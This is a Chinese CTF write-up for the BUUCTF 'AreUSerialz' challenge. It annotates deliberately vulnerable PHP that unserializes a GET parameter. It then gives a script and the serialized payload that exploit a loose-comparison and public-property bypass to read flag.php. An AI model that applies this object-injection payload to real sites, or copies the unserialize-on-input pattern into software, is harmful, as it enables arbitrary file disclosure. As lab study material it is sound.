Web之buuctf-[网鼎杯 2020 青龙组]AreUSerialz
作者:互联网
源码分析
<?
phpinclude("flag.php");
highlight_file(__FILE__);
class FileHandler #一个类
{
protected $op; #类里面的三个受保护变量
protected $filename;
protected $content;
function __construct() #给三个变量赋值,并调用process()公有函数,构造函数?
{
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() #根据变量op的值选择分支执行
{
if($this->op == "1") #若op弱等于"1",则执行write()私有函数
{
$this->write();
}
else if($this->op == "2") #若op弱等于"2",则执行read()私有函数,同时将返回值赋给res变量,并以其为参数调用output()私有函数
{
$res = $this->read();
$this->output($res);
}
else #其余情况
{
$this->output("Bad Hacker!");
}
}
private function write()
{
if(isset($this->filename) && isset($this->content)) #二者不为空
{
if(strlen((string)$this->content) > 100) #content变量长度大于100
{
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content); # 将content变量的值写入filename所代表的文件中去,并将返回的字节数赋给res变量
if($res) #若res不为0
$this->output("Successful!");
else
$this->output("Failed!");
}
else
{
$this->output("Failed!");
}
}
private function read()
{
$res = "";
if(isset($this->filename))
{
$res = file_get_contents($this->filename); #从文件中读取一个字符串,并赋给res变量
}
return $res;
}
private function output($s)
{
echo "[Result]: <br>";
echo $s;
}
function __destruct()
{
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) #判断传入的参数的ASCII码是属于[32,125]
{
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) #get方式传入str参数
{
$str = (string)$_GET['str'];
if(is_valid($str)) #调用is_valid()函数,判断传入的参数的ASCII码是属于[32,125]
{
$obj = unserialize($str); #对str参数反序列化
}
}
主要两个点:
1.op==“2” 弱等于绕过
2.is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。
注:这个是看师傅们的wp才知道的,我只是分析了源码,知道是个php反序列化,还有那个弱等于,看了wp才知道后面该怎么做的。
绕过:
1.在序列化时直接令op=2即可
2.师傅的wp里有两种方法,这里取第一种,即:PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过。
所以序列化脚本为:
<?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content = "hahah";
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>
结果:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:5:"hahah";}
最后再以get方式传递str参数即可,flag藏在源码里:
学习文章
标签:Web,buuctf,AreUSerialz,res,filename,content,str,output,op 来源: https://blog.csdn.net/qq_43682582/article/details/115287823